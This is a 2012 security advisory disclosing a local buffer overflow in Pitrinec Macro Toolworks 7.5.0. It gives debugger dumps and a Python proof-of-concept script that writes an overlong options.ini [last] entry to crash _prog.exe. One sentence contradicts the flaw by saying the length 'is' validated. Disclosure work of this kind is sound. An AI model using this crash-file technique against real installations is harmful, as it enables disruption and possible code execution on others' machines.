Document Title: =============== Pitrinec Macro Toolwork 7.5 - Buffer Overflow Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=466 Release Date: ============= 2012-03-07 Vulnerability Laboratory ID (VL-ID): ==================================== 466 Common Vulnerability Scoring System: ==================================== 4.4 Product & Service Introduction: =============================== Macro Toolworks is powerful all-in-one Windows automation macro software. It allows user to record macros, visually edit macros and playback macros in any Windows application. Each macro can be triggered multiple ways depending on the user s needs: by keyboard shortcuts, mouse clicks or other events, macro scheduler, hotkey, toolbars, etc. Macros recorded in macro recorder (both keyboard recorder and mouse recorder) can be manually edited and optimized. Macros can simply mimic user by sending Windows keys and mouse clicks or they can do even more complex repetitive daily tasks such as file backups and other file manipulation, fill web forms, e-mail writing, chatting, inserting data to database forms, files downloading/uploading, file and directory zipping and encryption and more ... (Copy of the Vendor Homepage: http://www.pitrinec.com/toolsworks_de.htm ) Abstract Advisory Information: ============================== A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0. Vulnerability Disclosure Timeline: ================================== 2012-03-08: Public or Non-Public Disclosure Discovery Status: ================= Published Affected Product(s): ==================== Pitrinec Software Product: Macro Toolworks Framework Free, Pro & Standard 7.5.0 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A Buffer Overflow vulnerability is detected on Pitrinecs Software Macro Toolworks Free/Standard/Pro v7.5.0 Edition (current version). The vulnerability is located in the main executeable _prog.exe, which gets invoked e.g. by the _loader.exe or by StartMacroToolworks.exe. When launching the _prog.exe or one executeable which invokes the _prog.exe, it automatically reads the contents of the options.ini from the application directory. It reads the [last] section string to determine which files have been opened at last by the user. The application does validate the string length of the [last] section before passing the content to a buffer, which could lead to a local buffer overflow. --- Debugger --- # 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 3128) # Registers: # EAX 0120EA00 Stack[000004C8]:0120EA00 # EBX FFFFFFFF # ECX 42424242 # EDX 00000002 # ESI 007F6348 _prog.exe:007F6348 # EDI 007F6348 _prog.exe:007F6348 # EBP 0120EA0C Stack[000004C8]:0120EA0C # ESP 0120E9E8 Stack[000004C8]:0120E9E8 # EIP 00646D36 _prog.exe:00646D36 # EFL 00200206 # Stack: # 0120E9E0 0012DF3C # 0120E9E4 00000000 # 0120E9E8 0205A5A0 debug045:0205A5A0 # 0120E9EC 1B879EF8 # 0120E9F0 007F6348 _prog.exe:007F6348 # 0120E9F4 007F6348 _prog.exe:007F6348 # Crash: # _prog.exe:00646D36 ; --------------------------------------------------------------------------- # _prog.exe:00646D36 mov eax, [ecx] # _prog.exe:00646D38 call dword ptr [eax+0Ch] # _prog.exe:00646D3B call near ptr unk_6750D0 # _prog.exe:00646D40 retn 4 # _prog.exe:00646D40 ; --------------------------------------------------------------------------- # Dump: # 007F6380 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA # 007F6390 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA # 007F63A0 42 42 42 42 43 43 43 43 43 43 43 43 43 43 43 43 BBBBCCCCCCCCCCCC # 007F63B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC # 007F63C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC Note: Affected are all other products provided by Pitrinec Software which use the _prog.exe too. Picture(s): ../1.png Proof of Concept (PoC): ======================= The buffer overflow vulnerability can be exploited by local attackers without user inter action. For demonstration or reproduce ... #!/usr/bin/python # Exploit Title: Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0 Local Buffer Overflow # Version: 7.5.0 # Date: 2012-03-04 # Author: Julien Ahrens # Homepage: http://www.inshell.net # Software Link: http://www.macrotoolworks.com # Tested on: Windows XP SP3 Professional German / Windows 7 SP1 Home Premium German # Notes: Overflow occurs in _prog.exe, vulnerable are all Pitrinec applications on the same way. # Howto: Copy options.ini to App-Dir --> Launch # 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 3128) # Registers: # EAX 0120EA00 Stack[000004C8]:0120EA00 # EBX FFFFFFFF # ECX 42424242 # EDX 00000002 # ESI 007F6348 _prog.exe:007F6348 # EDI 007F6348 _prog.exe:007F6348 # EBP 0120EA0C Stack[000004C8]:0120EA0C # ESP 0120E9E8 Stack[000004C8]:0120E9E8 # EIP 00646D36 _prog.exe:00646D36 # EFL 00200206 # Stack: # 0120E9E0 0012DF3C # 0120E9E4 00000000 # 0120E9E8 0205A5A0 debug045:0205A5A0 # 0120E9EC 1B879EF8 # 0120E9F0 007F6348 _prog.exe:007F6348 # 0120E9F4 007F6348 _prog.exe:007F6348 # Crash: # _prog.exe:00646D36 ; --------------------------------------------------------------------------- # _prog.exe:00646D36 mov eax, [ecx] # _prog.exe:00646D38 call dword ptr [eax+0Ch] # _prog.exe:00646D3B call near ptr unk_6750D0 # _prog.exe:00646D40 retn 4 # _prog.exe:00646D40 ; --------------------------------------------------------------------------- # Dump: # 007F6380 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA # 007F6390 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA # 007F63A0 42 42 42 42 43 43 43 43 43 43 43 43 43 43 43 43 BBBBCCCCCCCCCCCC # 007F63B0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC # 007F63C0 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC file="options.ini" junk1="\x41" * 744 boom="\x42\x42\x42\x42" junk2="\x43" * 100 poc="[last]\n" poc=poc + "file=" + junk1 + boom + junk2 try: print "[*] Creating exploit file...\n" writeFile = open (file, "w") writeFile.write( poc ) writeFile.close() print "[*] File successfully created!" except: print "[!] Error while creating file!" Security Risk: ============== The security risk of the local buffer overflow vulnerability is estimated as medium. Credits & Authors: ================== Vulnerability Research Laboratory - Julien Ahrens (MrTuxracer) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission. Copyright © 2012 | Vulnerability Laboratory